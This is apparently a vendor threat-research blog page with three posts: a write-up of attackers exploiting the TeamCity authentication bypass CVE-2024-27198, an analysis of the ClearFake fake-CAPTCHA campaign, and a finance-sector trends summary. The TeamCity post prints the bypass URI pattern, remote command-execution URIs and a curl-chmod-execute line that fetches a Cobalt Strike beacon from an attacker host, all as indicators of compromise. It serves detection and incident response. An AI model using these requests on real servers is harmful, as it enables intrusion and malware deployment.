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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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January 30, 2026

ClearFake: From Fake CAPTCHAs to Blockchain-Driven Payload Retrieval

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What is ClearFake?

As threat actors evolve their techniques to exploit victims and breach target networks, the ClearFake campaign has emerged as a significant illustration of this continued adaptation. ClearFake is a campaign observed using a malicious JavaScript framework deployed on compromised websites, impacting sectors such as e‑commerce, travel, and automotive. First identified in mid‑2023, ClearFake is frequently leveraged to socially engineer victims into installing fake web browser updates.

In ClearFake compromises, victims are steered toward compromised WordPress sites, often positioned by attackers through search engine optimization (SEO) poisoning. Once on the site, users are presented with a fake CAPTCHA. This counterfeit challenge is designed to appear legitimate while enabling the execution of malicious code. When a victim interacts with the CAPTCHA, a PowerShell command containing a download string is retrieved and executed.

Attackers commonly abuse the legitimate Microsoft HTML Application Host (MSHTA) in these operations. Recent campaigns have also incorporated Smart Chain endpoints, such as “bsc-dataseed.binance[.]org,” to obtain configuration code. The primary payload delivered through ClearFake is typically an information stealer, such as Lumma Stealer, enabling credential theft, data exfiltration, and persistent access [1].

Darktrace’s Coverage of ClearFake

Darktrace / ENDPOINT first detected activity likely associated with ClearFake on a single device on over the course of one day on November 18, 2025. The system observed the execution of “mshta.exe,” the legitimate Microsoft HTML Application Host utility. It also noted a repeated process command referencing “weiss.neighb0rrol1[.]ru”, indicating suspicious external activity. Subsequent analysis of this endpoint using open‑source intelligence (OSINT) indicated that it was a malicious, domain generation algorithm (DGA) endpoint [2].

The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.
Figure 1: The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.

This activity indicates that mshta.exe was used to contact a remote server, “weiss.neighb0rrol1[.]ru/rpxacc64mshta,” and execute the associated HTA file to initiate the next stage of the attack. OSINT sources have since heavily flagged this server as potentially malicious [3].

The first argument in this process uses the MSHTA utility to execute the HTA file hosted on the remote server. If successful, MSHTA would then run JavaScript or VBScript to launch PowerShell commands used to retrieve malicious payloads, a technique observed in previous ClearFake campaigns. Darktrace also detected unusual activity involving additional Microsoft executables, including “winlogon.exe,” “userinit.exe,” and “explorer.exe.” Although these binaries are legitimate components of the Windows operating system, threat actors can abuse their normal behavior within the Windows login sequence to gain control over user sessions, similar to the misuse of mshta.exe.

EtherHiding cover

Darktrace also identified additional ClearFake‑related activity, specifically a connection to bsc-testnet.drpc[.]org, a legitimate BNB Smart Chain endpoint. This activity was triggered by injected JavaScript on the compromised site www.allstarsuae[.]com, where the script initiated an eth_call POST request to the Smart Chain endpoint.

Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.
Figure 2: Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.

EtherHiding is a technique in which threat actors leverage blockchain technology, specifically smart contracts, as part of their malicious infrastructure. Because blockchain is anonymous, decentralized, and highly persistent, it provides threat actors with advantages in evading defensive measures and traditional tracking [4].

In this case, when a user visits a compromised WordPress site, injected base64‑encoded JavaScript retrieved an ABI string, which was then used to load and execute a contract hosted on the BNB Smart Chain.

JavaScript hosted on the compromised site www.allstaruae[.]com.
Figure 3: JavaScript hosted on the compromised site www.allstaruae[.]com.

Conducting malware analysis on this instance, the Base64 decoded into a JavaScript loader. A POST request to bsc-testnet.drpc[.]org was then used to retrieve a hex‑encoded ABI string that loads and executes the contract. The JavaScript also contained hex and Base64‑encoded functions that decoded into additional JavaScript, which attempted to retrieve a payload hosted on GitHub at “github[.]com/PrivateC0de/obf/main/payload.txt.” However, this payload was unavailable at the time of analysis.

Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 4: Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 5: Darktrace’s detection of the executable file and the malicious hostname.

Autonomous Response

As Darktrace’s Autonomous Response capability was enabled on this customer’s network, Darktrace was able to take swift mitigative action to contain the ClearFake‑related activity early, before it could lead to potential payload delivery. The affected device was blocked from making external connections to a number of suspicious endpoints, including 188.114.96[.]6, *.neighb0rrol1[.]ru, and neighb0rrol1[.]ru, ensuring that no further malicious connections could be made and no payloads could be retrieved.

Autonomous Response also acted to prevent the executable mshta.exe from initiating HTA file execution over HTTPS from this endpoint by blocking the attempted connections. Had these files executed successfully, the attack would likely have resulted in the retrieval of an information stealer, such as Lumma Stealer.

Autonomous Response’s intervention against the suspicious connectivity observed.
Figure 6: Autonomous Response’s intervention against the suspicious connectivity observed.

Conclusion

ClearFake continues to be observed across multiple sectors, but Darktrace remains well‑positioned to counter such threats. Because ClearFake’s end goal is often to deliver malware such as information stealers and malware loaders, early disruption is critical to preventing compromise. Users should remain aware of this activity and vigilant regarding fake CAPTCHA pop‑ups. They should also monitor unusual usage of MSHTA and outbound connections to domains that mimic formats such as “bsc-dataseed.binance[.]org” [1].

In this case, Darktrace was able to contain the attack before it could successfully escalate and execute. The attempted execution of HTA files was detected early, allowing Autonomous Response to intervene, stopping the activity from progressing. As soon as the device began communicating with weiss.neighb0rrol1[.]ru, an Autonomous Response inhibitor triggered and interrupted the connections.

As ClearFake continues to rise, users should stay alert to social engineering techniques, including ClickFix, that rely on deceptive security prompts.

Credit to Vivek Rajan (Senior Cyber Analyst) and Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Detections

Process / New Executable Launched

Endpoint / Anomalous Use of Scripting Process

Endpoint / New Suspicious Executable Launched

Endpoint / Process Connection::Unusual Connection from New Process

Autonomous Response Models

Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block

List of Indicators of Compromise (IoCs)

  • weiss.neighb0rrol1[.]ru – URL - Malicious Domain
  • 188.114.96[.]6 – IP – Suspicious Domain
  • *.neighb0rrol1[.]ru – URL – Malicious Domain

MITRE Tactics

Initial Access, Drive-by Compromise, T1189

User Execution, Execution, T1204

Software Deployment Tools, Execution and Lateral Movement, T1072

Command and Scripting Interpreter, T1059

System Binary Proxy Execution: MSHTA, T1218.005

References

1.        https://www.kroll.com/en/publications/cyber/rapid-evolution-of-clearfake-delivery

2.        https://www.virustotal.com/gui/domain/weiss.neighb0rrol1.ru

3.        https://www.virustotal.com/gui/file/1f1aabe87e5e93a8fff769bf3614dd559c51c80fc045e11868f3843d9a004d1e/community

4.        https://www.packetlabs.net/posts/etherhiding-a-new-tactic-for-hiding-malware-on-the-blockchain/

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Vivek Rajan
Cyber Analyst

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January 30, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

6. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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